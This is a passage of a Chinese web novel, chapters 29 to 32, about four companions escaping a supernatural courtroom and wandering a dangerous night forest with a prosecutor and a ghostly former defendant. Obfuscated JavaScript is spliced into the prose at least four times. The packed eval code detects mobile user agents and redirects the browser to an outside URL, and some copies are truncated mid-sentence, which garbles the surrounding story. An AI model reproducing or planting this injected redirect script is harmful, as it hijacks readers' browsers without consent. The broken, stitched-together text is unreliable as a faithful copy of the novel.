不为别的,她知道这答案多半又是法典的胡诌,可这也未免太不吉利了!哪有这样咒人寿命的? 怒意直冲头顶,她迈步就要朝法官席去,还没走出两步,衣袖却被人从旁拽住。 她转头,对上一双紧蹙的眉。是那位检察官。 不久前还对她冷眼相向的人,此刻却攥着她的袖子,说了两人之间第一句与公务无关的话: “别去。” 莫名其妙。 叶抒年挣开那人的手,径直向前走去。她本是忍不下这荒唐审判,要去找那老者理论,却先看见了被从审判台抛下的阮天清。 脚步当即一转,她折身便朝同伴的方向赶去。 她赶到审判台边时,阮天清已经自己撑着手臂站了起来。她快步上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045260|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶住对方的手臂,入手却感觉到一阵细微的颤抖。 “没事吧?” 叶抒年目光飞快地扫过阮天清的脸,试图通过对方的神色来分辨状况。 那张脸的脸色比平时更白了些,但眼神还是清亮的,甚至在对上叶抒年视线时,弯了弯眉眼。 “没事。” 阮天清的声音有点低哑。她借着叶抒年的力道站稳,两人慢慢往回走。 叶抒年一边走,一边忍不住用余光看她。 阮天清却侧过头,迎上她写满担忧的目光:“那法典的话,别往心里去。这法庭上的东西,很多都不可信。” 俩人还没说上几句话,林煦言那颗脑袋就凑了过来。 接下来轮到他上审判台了,心里正七上八下,本想找两位姐姐讨点安慰,却没想撞见的是一地尚未收拾的沉郁气氛。 他张了张嘴,视线在叶抒年紧锁的眉头和阮天清苍白的侧脸上转了一圈,到嘴边的话又咽了回去。讪讪地摸了摸后颈,没敢再吭声。 罢了。少爷心一横,自己挪着步子,慢吞吞地朝审判台走去。 要说对这审判,林煦言其实并不怎么怕。他自认活得坦荡,没什么见不得光的秘密。 唯一需要提防的,无非是那本法典会不会抖出终律城的机密。可转念一想,哥哥似乎也从没向他透露过什么真正核心的机要。这么一来,他心里反倒有些无所谓了。 若真被审出什么连他自己都不知道的事……林煦言挑了挑眉,甚至觉得那应该会挺有意思。 不过,有意思的事并不包括被捆在审判台上。 林煦言低头看了眼自己悬空的鞋底——离地面足有半尺高。 刚才叶抒年和阮天清分明只是双手被缚在身后,怎么轮到他,就变成了从头到脚缠满光纹、像个刚裹好的粽子? 他挣了挣,那些金色丝线反而缠得更紧。 少爷深吸一口气,把冲到嘴边的抗议强行咽了回去,只在心里恶狠狠地记了一笔:等出去之后,非一把火烧了这破地方不可,或者,干脆让他哥带人来把它铲平算了。 他静候着审判的提问。时间在沉寂中流过片刻、又片刻,老者却始终没有开口。 林煦言等得有些不耐,忍不住仰头冲着法官席道:“不是要问话吗?问题呢?” 老者似乎也在迟疑,抬首望向那本法典。它依旧悬浮在半空,书页静合,没有流泻出丝毫金光。 片刻,老者终于确认了什么,对他宣布:“你可以回去了。法庭说对你没兴趣。” 话音落下的瞬间,缠缚林煦言的光索应声消散。他毫无准备,脚下一空,整个人便结结实实地跌坐在审判台冰凉的台面上。 少爷更加坚定了放火烧法庭的决心。 与此同时,旁听席上,俞不晚不自觉地捏紧了拳,手臂因紧绷而微微发颤。 叶抒年将这一幕尽收眼底,她伸出手,轻轻拍了拍俞不晚的肩。 如今只剩最后一次审判了,谁也不知道那法庭会问出什么刺痛人心的话。 叶抒年想起在地下广场酒吧初遇俞不晚的那一眼。 那时她便觉得,这是个有秘密的人。 29. 第29章 全场目光都聚集在那座审判台上,尤其是叶抒年。 她紧紧盯着那道悬在半空的身影。离开了那些沉重的枪炮,那道身影就显得有些许单薄,不知是不是错觉,她甚至从那张半隐在阴影之下的脸上,读出了孤独的意味。 明明在她的印象中,俞不晚总是言笑晏晏,还有点没心没肺,似乎没什么事值得她烦心。但现在看来显然不是这样。 俞不晚难得地抿起了唇,眉眼低垂,不知在想什么。 高台上,老者终于托起法典,问出第一个问题: “你是谁?” 旁听席静了一瞬。这大约是今日法庭提出最温和的一个问题了。 俞不晚像是被这问题从不知名情绪中唤醒,倏然抬眼,眼中是坚定与不屑。 她直勾勾迎上法官席那人的目光,仿佛在高傲漠视那背后势力的虚伪,而后唇角倏然牵起一抹轻蔑的笑,声音清晰而响亮: “我是俞不晚。” 她本不必亲自回答,法典自会代她宣告。可她不信那东西。 凭什么她心中的答案,要由另一个不知为何物的存在来吐露?这法庭所谓“言出必真”的规则,简直虚伪又荒唐。 她就是她,她说出口的,才是真的答案。这世上没有任何东西能为她代言。 法典似乎被她那坦荡无惧的回答所慑,原本即将凝聚成形的字迹骤然停滞,紧接着,流转的金色光华在顷刻间黯淡,仿佛骤然失去了为被审判者代言的权能。 这突如其来的变故,令旁听席与法官席上的众人皆是一怔。叶抒年在心底暗暗为俞不晚喝彩,而老者则难以置信地张了张嘴,仿佛百年来,从未遭遇过这般局面。 老者并未罢休,紧跟着问出第二个问题:“你的异能是什么?” 满庭目光再次投向那本悬浮于半空的法典。而这一次,眼前的景象让所有人大吃一惊。 只见法典忽然开始剧烈地翻动书页,在这气流凝滞的殿堂内,从首页唰啦翻至末页,又从尾页急速倒卷回头,如同在焦灼地搜寻某个根本不存在的答案。 书页翻飞越来越快,带起微弱而凌乱的气流。 就在这毫无结果的翻动达到某个顶点时,一抹猩红的亮色猛地自法典正中央窜起! 那红光起初只是一点,随即骤然蔓延,如活火般迅速吞噬书页,将整本法典烧得通红一片。火光炽烈,甚至压过了先前法典自身散发的金色光华。 不过转瞬之间,这部厚重的典籍便在众人眼前燃为灰烬,唯余几片焦黑的残页,裹着零星火星,飘摇着坠落。 这场景太过震撼,叶抒年一时没忍住,低低笑出了声。 她抬眼望向审判台,刚才还被金光束缚悬在半空的人,此刻已安然落地。 大约是法典焚毁的缘故,那些缠绕的金色光丝也消耗殆尽,俞不晚轻松挣脱残余的束缚,单手在金属杆上一撑,轻巧滑落至地面。 她脸上漾开一抹狡黠的笑意,朝叶抒年和阮天清俏皮地眨了眨眼。那双桃花眼此刻亮得惊人,像只刚刚得手、骄傲晃着尾巴的小狐狸。 叶抒年用口型对她无声地说:“真帅!” 尽管她也不清楚俞不晚究竟用了什么方法,竟能将这法庭赖以运转的重要之物焚为灰烬,但她相信俞不晚。何况,结果总归是大快人心。 这也算是替她和阮天清,报了被那法典造谣之仇。 三人不约而同从旁听席上起身,迎向归来的俞不晚。而备受瞩目的那人正一步一步,从审判台沉郁的阴影里走出。 她穿过高窗投下的、光怪陆离的彩色光影,那些流转的光斑落在那张明媚张扬的脸上,明明灭灭。 所有人都通过了审判。四人重新站在一起时,叶抒年最后瞥了眼那摊法典的灰烬,又望向法官席上仍在瞠目结舌的老者,心头那根绷了许久的弦,终于松了下来。 经俞不晚刚才那一遭,笼罩庭内的肃杀与诡谲似被撕开了一道口子。众人发现,原来这座法庭也并非全然不可撼动。 审判已经结束,叶抒年对高台之上的人扬声道:“现在是不是可以放我们走了?” 这位npc似乎还没从刚才的景象中缓过神,大概百年来从没有遇见过这种意外。 他抬手想要制止四人的离开,但是没用,因为某个高于他的存在,已经被这几人一通操作弄搅得疲倦至极。 再不放几位活娘出去,恐怕连这座殿堂都要被烧掉半个屋顶。 殿堂深处传来一声叹息。紧接着,殿内一根巨大的石柱表面悄然裂开缝隙,在无人触碰的情况下,自行勾勒出一扇门的轮廓。 门扉向内滑开,外面是一片望不到底的黑暗,冷风裹挟着若有似无的血腥气倒灌进来。 直到这时,四人才惊觉,她们已经在法庭内待了整整一日,而外界早已入夜。 叶抒年刚抬起、打算往外走的脚忽然又放下了。 “我突然觉得,”她转向另外三人,神色异常严肃,“这殿堂内部其实挺典雅的。不如我们再借宿一晚?” 三人齐刷刷点头,动作快得像小鸡啄米。 可惜她们刚才的壮举似乎耗尽了法庭最后的耐心。未等她们挪步,一股无形的力量便从身后涌来,将四人一卷,干脆利落地打包扔出了门外。 脚跟落地时,人已站在了山谷的夜风里。身后,石柱恢复如初,仿佛从未开启过。 “真小气。”叶抒年揣着兜评价道。 “没想到那里面的天光是模拟出来的,我还真以为外面还是白天呢……”俞不晚附和。 这话一出,某位话痨像是终于从刚才的环境里缓过神来,开始大倒苦水:“怎么从来没人告诉我003号禁区里还有这种地方?之前在回溯里吓死我了,要不是知道那是回溯,我还以为我要死在里面了!” 叶抒年听后点点头,她现在想起一中礼堂内的场景,也觉得后怕。不过她当时的情绪难过胜于恐惧,不如林煦言这么夸张。 “当时我也吓一跳,”俞不晚接话道,“没想到那个妹妹看起来斯斯文文的,胆子居然那么大。” 叶抒年忽然有点丈二和尚摸不着头脑,她直觉她和俩人聊的不是一回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经过那扇铁闸门时,俞不晚猛地刹住脚步。门缝里那点幽暗的光还在,隐约照出居民楼内堆着杂物的楼梯间。她伸手一拉,门竟没锁。 “这边!” 两人闪身躲进门内,反手轻轻掩上门。逼仄的楼梯底下堆着破旧纸箱,空气中弥漫着不知哪来的铁锈味。她们屏住呼吸,听着门外渐近的脚步声。 等脚步远去,俞不晚刚要松口气,却忽然察觉到什么,缓缓转过头。 楼梯底的阴影里,站着一个人。 准确地说,是两个——一个站着,一个躺着。 躺着的那人双眼紧闭,浅色棉袄前襟浸透了一大片深色,还在缓慢洇开。 而站着的那个,此刻正一动不动地盯着她们。手中还握着一把尖刀。 刀尖沾着黏稠的血,正一滴一滴落在水泥地上。 是她们曾在礼堂回溯中见过的,那个穿校服的女孩。 30. 第30章 “还好回溯结束得及时,”林煦言的声音还带着未褪的余悸,“我感觉那把刀下一秒就要扎过来了!” “等等,”叶抒年打断他,“你们是不是看错了?那个时间点,贾笺明明跟我和清清在面馆。” 阮天清也点头证实:“直到回溯结束前一秒,她都坐在我们对面。” “啊?”俞不晚怔住了。她蹙眉仔细回忆,又坚定地摇头:“可我绝对没有看错,就是她。” 四人都沉默下来。黑暗包裹着她们,使人看不清周遭环境。 自被推出法庭后她们便没敢贸然移动。此刻,一股细思极恐的寒意却顺着这沉默攀上脊背。 贾笺怎么会同时出现在两个截然不同的地点? 这突如其来的反转让叶抒年有些猝不及防,此刻晕头转向。 她不死心地想要再多问出一些细节,妄图理清这其中究竟发生了什么:“你们当时的场景,是在下雪吧?有没有看清贾笺当时是什么样子?容貌衣着一点都没变化吗?” “当时下着大雪啊,容貌没什么变化,非要说的话,眼神和在礼堂见到的有些不同,看起来很疲惫。”俞不晚回忆道。 这就奇怪了。叶抒年清楚记得,第二次回溯时四人同时进入、同时离开,理应处于同一时间线。贾笺绝无可能同时出现在相距甚远的两个地点。 除非,她们其中有一方像第一次回溯那样,见到的场景存在虚幻;或者,出现了两个贾笺。 “这地方也太邪门了。”叶抒年只觉得烧脑,忍不住抱怨。忽然,她又想起一个细节,“你们在第二次进入回溯的时候,有没有感觉和第一次有什么不同?” 她记得第一次回溯时,景象是逐渐浮现的,带着明显的虚幻感。而第二次,切换几乎在瞬间完成,当时她还隐约感到某种被注视的异样。 那时她以为只是适应后的错觉,如今细想却觉得不对劲。 第一次回溯中,无论是台上仿佛除了跳舞以外毫无知觉的舞者,还是台下只会重复一句台词的观众,都透着明显的非真实感。 而第二次,路上偶遇的行人、面馆里的食客,全都鲜活如常,仿佛她们真真切切踏入了百年前的时空。 她想起第一次回溯结束后,几人曾推测那并非真正的穿越,只是被投入了某种虚构场景。但如今想来,第二次回溯却如同将她们送回了百年前。 叶抒年将这想法说了出来,其余三人均露出思索的神色。 “我说呢,”林煦言接道,“难怪第二次回溯里,追我们的巡警跟真的一样,路边的摊贩也各有不同……我还以为是法庭的场景做得更精细了。” “或许因为第一次回溯由法庭主动触发,而第二次我们给出了明确的时间地点,”阮天清推断道,“这其中的机制可能存在差异。” 叶抒年点头:“很有可能。” “可若真如此,岂不更说不通?”俞不晚皱眉,“如果第二次是真实穿越,贾笺不就更不可能同时现身两地?” 叶抒年也觉得此事蹊跷,仿佛答案就在眼前,却隔着一层雾。她按了按眉心,暂且按下纷乱的思绪,将目光投向四周沉滞的黑暗。 “这件事稍后再想,”她转而说道,“现在,我们还是先弄清楚自己究竟在哪儿吧。” 此刻的禁区已重归黑夜,危机四伏。 她们不能一直站在原地,至少得先寻个相对安全的落脚处。否则以眼下这既无照明、弹药又所剩无几的状态,万一遇上迷雾,被那位已化为骷髅的梁小絮扭断脖子可就糟了。 想到这儿,叶抒年不免有些心疼。上次山洞一战消耗太大,她从联邦顺来的好些武器还没焐热就报废了。如今又变回了得一点一点积攒物资的废土打工人。 其余三人已不约而同地掏出影语石,试图借那点微弱的光辨认方位。可惜石光昏蒙,除了勉强照亮彼此的脸,再无他用。 叶抒年正想吐槽这玩意儿的设计者为何不添个照明功能,身后忽然传来石柱移开的闷响。 紧接着,一道熟悉而明亮的光投在她脚前的地面上,随之延伸出的,还有一道漆黑颀长的影子。 四人同时转头。 果然是法庭的门又开了。叶抒年还以为是那位高高在上的存在忽然心软,打算再收留她们一晚,却见门内走出一个熟悉的身影。 检察官步履从容地踏出石门,人刚站定,身后的门便无声合拢,将他与那片深不见底的黑暗一同留在了外面。 看来这位也是被法庭赶出来的。叶抒年忍不住在心中偷笑,原本那点对这人的不满,也因此平衡了些。 不过,检察官对于被迫回到这危机四伏的夜晚丛林,似乎没什么怨气。下一秒,一束明亮的光便从他手中优哉游哉地绽开,瞬间驱散了周围数米的黑暗。 那盏灯也不知道是什么时候出现在他手中的,叶抒年困惑不已,明明刚才还没有。这人身上也不曾背个什么越野包,乍一看像两手空空什么物资也没带,从容得让人牙痒痒。 但这光亮确实有用。至少她们能看清周围了。 她们正站在一片丛林的边缘。 身后那根法庭的石柱,到了外界,看起来就像棵枯死的古树。灯光所及之处,尽是些低矮灌木,叶片上凝结着夜露,在光线下泛着湿痕。风穿过林间,带起一阵碎响,分不清是枝叶摩擦,还是别的什么东西在暗处移动。 更值得庆幸的是,提灯的人看上去,也丝毫没有要立刻甩开她们、独自离去的意思。他只是静静站着,灯光将一小片不安的土地圈成了暂时的安全区。 阮天清不愧是常在禁区行走的老手,此刻已上前一步,语气平静地开口:“请问你现在准备往哪个方向去?如果顺路,或许可以暂时搭个伙。夜晚行动,五个人总比落单安全。” 她说得官方,实际上她们四人根本还没决定去向,无论检察官去哪,都算是顺路。与这位臭名昭著的检察官同行固然不算上策,但比起在黑暗里盲目乱闯,还是眼前的安全更要紧。 她话音刚落,剩下三人齐刷刷看向她。 林煦言小小的眼睛里充满了大大的绝望。他可没忘前不久,自己是怎么在禁区内撞见这位瘟神,还被洗劫一空。比起跟这人搭伙,他觉得摸黑可能还更安全点。 俞不晚反应没那么激烈,只是微微挑了下眉。她对这人的印象还停留在“总是盯着叶抒年看”的阶段,心里断定这是个变态。 而叶抒年则将头又转向那正提着灯的人,上下扫了一眼,而后直直问道:“你到底是什么人?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065333|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不反对暂时合作。尽管她觉得这人挺装,看她的眼神也总有些说不清的古怪,但眼下处境容不得她挑剔。四个人在黑暗里乱闯,风险太大。 不过在合作前,她想至少摸清对方的底细。 而那人闻言,也直勾勾看向她,开口道:“你不知道我是什么人?” 叶抒年想了想,印象里只有最初林煦言的那段介绍:检察官,是个冷酷无情无恶不作横行霸道逍遥法外的,大坏蛋。 她猛地摇了摇头。这话可不能往外说,现在是她们要求合作,真要说出来别说蹭灯了,不被人揍一顿都算好的。 对方见她这反应,像是被气笑了,声音里带上了点咬牙切齿的味道:“不知道我是什么人,就敢跟我同行?你对谁都这么没防备?” 被呛了一句,叶抒年心头火起,刚要回嘴,余光瞥见阮天清微微摇头,又把话咽了回去。现在还得靠人家的灯照路,确实不宜争执。 叶抒年无法直言讥讽,想了想咽不下这口气,于是换了个说法:“那是不如您聪明!您这么小心谨慎,还来给这破法庭打工?”而且目前看来,老板对你还不怎么满意,最终不还是将你赶了出来? 一想起刚才法庭上这人手持法典、充当公诉人的场景,叶抒年就心生反感。在她看来,此人与那法庭根本是沉瀣一气、狼狈为奸。 她说出那番话时,已预备好迎接又一场言语交锋,连如何回击都在心中拟好了。论起言辞机锋,她向来不落下风。 哪知对方下下一句竟是:“我也是前不久才第一次进入这个地方,和你们一样,被指定了角色。” 空气沉默了两秒。 叶抒年怀疑自己听错了:“你是被指定了公诉人的角色?” 她以为这个人早是法庭常客,否则怎能对其中规则那么熟稔? 对方像是看出她的疑惑,继续解释道:“一日前,我接到禁区提示,须在三天内找到消失的界碑。今日上午,我在岩壁附近听见山洞坍塌的声响,进去查看情况,而后误入了那座法庭。” 他这话说得一气呵成,逻辑上也挑不出漏洞。 山洞倒塌确实是叶抒年她们四个惹出来的,而后她们在法庭中醒来,随即触发回溯任务。 如果这人所言属实,那么他正是在她们进入回溯的那段间隙来到法庭,并被迫承担了“公诉人”的身份。 不过话虽如此,即便这人说了谎,叶抒年此刻也无从分辨。况且无论真相如何,她们都已被法庭逐出,短时间内恐怕难以重返。 她不再追问这件事的细节,比起这个,她更好奇另一件事:“所以,你找到界碑了吗?” 无论她们在禁区内经历了什么、听到了多少真真假假的话语,抑或这座法庭还藏着多少秘密。当下最要紧的,终究是界碑的下落。 没等对方回答,远处忽然传来沉重的钟鸣。 一声接一声,庄严而滞重,硬生生截断了对话。那声音像在敲打每个人的神经,提醒着时限的流逝。叶抒年下意识数起了钟响,若按此前推算,此刻应当还剩三十余小时。 然而钟声停歇后,她怔住了。 “……怎么会?” 她刚才反复确认,钟声只响了十七下。 只剩十七个小时。 31. 第31章 “这什么情况?”俞不晚也听出了不对劲,“我们不是才进来一天半吗?” 所有人都沉默了。时限在她们毫无觉察间被大幅削减,而界碑的下落依旧渺茫。 叶抒年倏地转向提灯的人:“所以,你找到界碑了吗?” 经过刚才那番话,她意识到,这位名声在外的检察官同样受制于禁区的最后通牒。 换句话说,她们此刻的目标是一致的。只有找到界碑,所有人才能离开。倘若时限耗尽仍未找到,谁都别想出去。 她本不愿寄希望于旁人,但生死关头,顾不得那么多了。 检察官的目光落在她脸上,似乎权衡了片刻,才开口:“我没有找到界碑的确切位置。” 众人心头一沉。 但他随即又道:“但我找到了一些线索。” 刚熄灭的希望瞬间又被点燃。几道视线齐刷刷聚焦在他身上。可男人并未立刻分享线索,反而说:“这里不安全,先离开再说。” 他说这话时,目光定定地落在叶抒年脸上。 叶抒年被他看得浑身不自在。那眼神太不加掩饰,在她看来简直是一种无声的挑衅。她别过眼去,让自己的视线同那人错开。 检察官的话不无道理。阮天清本就打算借他的灯光寻一处安全所在,最好是能回到她们之前那间小屋。如今由他主动提出,反倒省了商量的工夫。 一行人动身走进丛林。 阮天清与检察官在前引路,俞不晚断后,叶抒年则前后跑动,用系统最早送的荧光笔在途经的树干上留下记号。这东西刚到手时她还嫌鸡肋,没想到这么快就派上了用场。 林煦言不远不近地缀在检察官身后几步,一边刻意保持着距离,一边忍不住偷偷打量对方。 他总觉得哪里不对劲。 这人以前遇上终律城的人从不手软,自己也与他打过几次照面,照理说不该如此相安无事。即便自己现在身无长物,唯一值钱的玩意儿也早交给叶抒年当了投名状。 更奇怪的是,自法庭相遇后,这人身上那股逼人的锋芒似乎收敛了许多,几乎判若两人。 少爷最想不通的,还是这位检察官看叶抒年的眼神。 即便是现在,走在前领路的人仍然时不时回头看一下,目光总准确无误地落在叶抒年身上,像担心这人趁他不注意跑掉了。 他按捺不住,悄悄凑到叶抒年旁边压低声音:“姐,你是不是什么时候得罪过那位?我怎么觉得……他老瞪你呢?” 叶抒年闻言也无奈,瞥了眼前方那个黑色背影,却恰好又撞上那人回过头的视线。那目光说不上是关切还是挑衅,复杂得很。 “应该没有吧,”她嘀咕道,“除非他会读心。” 毕竟她在心里,可没少吐槽他。 好在走在前面的人听不见她们的对话,但一个坏消息接踵而至。 走在队尾的俞不晚猛地停住脚步。 叶抒年察觉到动静,立刻回头。 只见俞不晚正侧过身,目光如刀锋般定定刺向一旁的灌木丛。她整个人已经绷紧,手按在了腰后的武器上。 那里有东西,她感觉到了。从离开法庭不久,就有什么一直悄无声息地缀在她们身后。 走在最前的阮天清和检察官几乎同时察觉异样,迅速折返,几步便悄无声息地贴近队伍后方。阮天清手中短刃已现,刃口在灯光下凝着一线冷光,直指那丛簌簌作响的灌木。 灌木后的东西似乎知道藏匿没有用,也不打算僵持。枝叶被拨开,一个身影从中走了出来。 看清来者的瞬间,所有人都愣住了。 竟然是贾纯! 他仍穿着那身棉服,只是此刻那白衣上正不断往外渗着血迹。脸上更是狼狈,半边脸肿着,眼眶周围泛着青紫,显然是先前在密室中挨的那顿打还没消退,又添了新的伤。 整个人站在昏暗的光里,摇摇晃晃的,像一株被暴雨打折后又遭践踏的草。 “你怎么会在这里?”叶抒年最先开口,声音里压着惊疑。 这画面太过割裂,就在不久之前,她亲手落下判决,看着他被老者从审判台上抹去。她以为那便是终结。 不过,她又上下扫了眼面前的人,直觉这也不一定是个“人”。 灯光映照下,他的皮肤泛着一层不真实的微光,轮廓边缘有些模糊,像隔着一层毛玻璃在看。这更像是一个尚未消散的幽灵。 贾纯的目光扫过众人紧惕、审视乃至厌恶的脸,缓缓举起了双手,姿态是某种示弱的投降。 “我……没想伤害你们。”他声音有些飘忽。 实际他也打不过。那场审判结束后,法庭只给了他不死不灭的躯体,却没有给予他丝毫战斗的能力。现在的他,战斗能力堪比一颗成年苹果。 他最终望向叶抒年,声音里带着一种被碾碎后的疲惫:“法庭把我扔到这里,让我履行判决。可我……迷路了。” 他初次踏入此地时,几乎被眼前的景象吓破了胆。参天巨木几乎占据了全部视线,这里已全然不是他曾居住过的小镇,土地里还游荡着难以名状的诡影。 他瑟缩着试探了很久,被那些他从未见过的生物伤了个遍,才终于确认,自己不会被真正杀死。 可每一次攻击落在他身上,痛觉却比活着时清晰千百倍。像是把从前欠下的疼,连本带利一并灌进这副不死的躯壳里。 有个声音始终在他脑内低语,只有依照判决去赎罪,这些如跗骨之蛆的旧伤痛楚,才会减轻分毫。 但他在森林中迷了路。 他找不到梁小絮,也不敢找,他猜对方不会愿意见到自己。只能转而尝试去寻找需要修复的土地,以及那些据说在禁区中游荡的“人脸”。 万幸的是,他遇见了熟悉的人。 尽管这些人……看上去也并不想见到他。甚至有人已经磨刀霍霍,感觉下一秒他身上又会再次添上战损。 贾纯胆怯地朝俞不晚的方向瞥了一眼,先前在法庭密室内被揍得奄奄一息的景象还历历在目,他又不自觉地后退了半步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倒不是被这个似乎已经改过自新的罪犯所打动,只是觉得贾纯或许能派上用场。在接下来的寻找界碑之旅中,这人说不定能成为一个媒介。 叶抒年心中隐约有个推测。 既然法庭执意要闯入者审理这桩百年旧案,既然禁区内诸多诡异规则似乎都与那场事故纠缠不清,那么这一切背后,必然存在某种尚未显露的因果。界碑的所在,恐怕也绕不开这条隐形的线索。 她们尚不清楚界碑具体何在,也不明白它在百年前究竟扮演过什么角色。但眼前这个被法庭强行留在此地赎罪的少年,或许正是串联起过去与现在、罪孽与惩罚的那根线。 “跟着可以,”叶抒年看向贾纯,“但别耍花样。” 贾纯瑟缩了一下,却郑重地再次点头。 阮天清收起短刀,目光扫过林间更深处的黑暗:“走吧,时间不等人。” 距离禁区封锁,只剩不到十七个小时。 32. 第32章 夜里的森林像蒙了层看不见的厚纱,将五步外的景物都吞进一片模糊的昏黑里。 饶是有提灯照着,光也只能勉强晕开脚下一小圈湿漉漉的地面,再远些的树干便只剩憧憧的影,分不清是树还是别的什么蹲在那儿,使人难以确认自己身处何方。 倒是头顶的动静格外清晰,不知名夜鸟扑棱着翅膀,不住地牵扯着众人的神经。 在第三次经过那棵做过荧光标记的枯木时,叶抒年终于确定,她们遇到了鬼打墙。 “怎么又是这里?”林煦言盯着树干上那抹淡淡的荧光,声音里压不住烦躁。 “这片林子有时会吞路。”阮天清对此有些经验,即刻停下脚步,“现在最好不要走动。” 她以前遇到过类似的情形。通常来说,林子里一旦出现鬼打墙,往往意味着禁区中某些东西正在暗中躁动,很可能在搜寻活动的猎物。这时候停下来,尽可能保持静止,将自己扮作一棵树,是避开袭击的最有效方式。 众人闻言,纷纷止步不前。 叶抒年环顾四周,依然看不清周围的景象,可心头莫名发慌,总觉得哪里不对劲,又说不上来。 直到一道声音穿透寂静: “队长,这已经是我们第三次经过这里了。” 这声音很熟悉,来自某位联邦队员。叶抒年记得,那是萧千复的副手。 声音响起的瞬间,所有人绷紧了脊背。那声响离得不远,也许就在二十步开外,被层层叠叠的树影遮挡着。 在森林里遇见熟人从来不是好事。那可能是林中某些东西模仿出的诱饵,也可能对方真的同样被困于此。 但无论哪种,都意味着麻烦。禁区封锁只剩不到十七个小时,若几拨人在此时撞上,人力分散不说,找到界碑的可能只会更渺茫。 叶抒年与阮天清对视一眼,抬手对众人做了个噤声的手势。她随即侧头,望向提灯的那人。 检察官正站在光影中央,光晕在他轮廓上镀了层毛茸茸的金边,将那惯常的冷冽削去了不少。 他看着她,那双总是过于锐利或沉寂的眼睛,此刻竟显出柔和。不过,或许也不是柔和,只是灯光太暖,错觉而已。但那目光确实比先前收敛不少,仿佛在说,悉听尊便。 叶抒年被这目光看得有些不自在,下意识地避了避,而后朝那人无声地动了动唇形:“把灯灭了。” 检察官没有问,甚至没有一丝犹豫,拇指在灯身侧面轻轻一按。 “咔。” 那圈光晕骤然收束,黑暗便彻底吞没了所有人。众人屏息凝神,全部注意力都投向声音的来处。 四周静得骇人,反而衬得那方向的动静愈发清晰。杂沓的脚步混杂着交谈,声音由远及近,听起来,联邦那边的幸存者人数不多。 杂音中传来萧千复压低的声音,气息有些急促,显然是在进行紧急部署: “不能再在这里耗着了。我们这一路已经折了五个人,不能再耽误时间。” 黑暗中传来几声抽气,有队员的声音响起:“可是,万一……又遇到那东西怎么办?我们已经不剩任何弹药了。” 联邦小队的脚步声又靠近了些,枝叶被踩碎的细响似乎就在几步外。叶抒年屏住呼吸,连睫毛都不敢颤动,目光死死锁住声音来处那片浓黑。 幸而联邦小队携带的能源灯早已耗尽,不少折损在先前的遭遇里。此刻只有领头者手中捏着一小截蜡烛,那点微弱的光晕摇晃着,勉强照亮握烛人自己的脸庞,却根本照不亮咫尺之外的黑暗。 于是无人察觉,就在这支队伍侧旁不到五步的距离,另一群人正屏息凝立,如同沉入夜色的石像。 萧千复仍在自顾自地说:“现在开始,两人一组背靠背行动。任何人不准单独离队,要是再遇到影子,千万不要打草惊蛇……” 影子。 叶抒年捕捉到了这个关键词。不只是她,她感受到身侧的阮天清手指也瞬间收紧,勾上了她的腕骨。 某个并不久远的记忆被唤醒。在她们进入禁区之前,菲尔温曾经提醒过,遇到影子,千万要小心。 要怎么做来着?叶抒年急速回想。对了,模仿。模仿影子的动作,让它们以为你是同类。 可是接下来她听到的内容,让她彻底茫然了。 “真倒霉……头一回进禁区,就撞上这种东西。我小叔明明说过,见过影子的人不多,留下的经验也就一条,模仿它们的动作即可。”一人抱怨道。 另一位队友哽咽着接话:“你这消息……可把老田他们害惨了!” 叶抒年心头猛地一沉。 这什么意思?有人照着那条公认的规则去做,反而触发了更糟的结果? 她几乎要按捺不住,想从黑暗里跨出去,揪住那个联邦队员问个清楚。他们到底是怎么做的?影子又到底是怎么反应的? 她用力掐了一下自己的虎口,刺痛让她勉强维持住静止的姿势,压住一腔疑问冷静思考。 根据之前的遭遇,禁区在界碑消失后确实出现了异变,惩罚变得更加诡谲严厉,但规则本身、那些根植于这片土地的基础逻辑,应当是不变的。 如果真如联邦这些人所说,真相不大可能是禁区的规则改变了。叶抒年试图压下那个渐渐成形的猜想,可直觉像一根针,扎在意识的边缘,反复刺探着一个更可怕的可能性。 或许,关于“影子”的规则,从最初流传开始,就是错的! 可是这更说不通,菲尔温没有必要欺骗她们,这其中一定存在什么她们未曾觉察的真相。 她小心地隐藏着形迹,试图从联邦队员的交谈中捕捉更多信息。然而,那支队伍却忽然停下了脚步,随之,所有声音在瞬间消失。 叶抒年下意识屏住呼吸,几乎以为是自己暴露了。 没成想紧接着,另一道鲜明的声音,从完全相反的方向切入了寂静。 “怎么回事?第三次经过这鬼地方了!” 熟悉的声音,熟悉的语气,是她们的“老朋友”,林予安。 叶抒年听到这声音的刹那,几乎要冷笑出声。她对这人实在生不出半分好感。 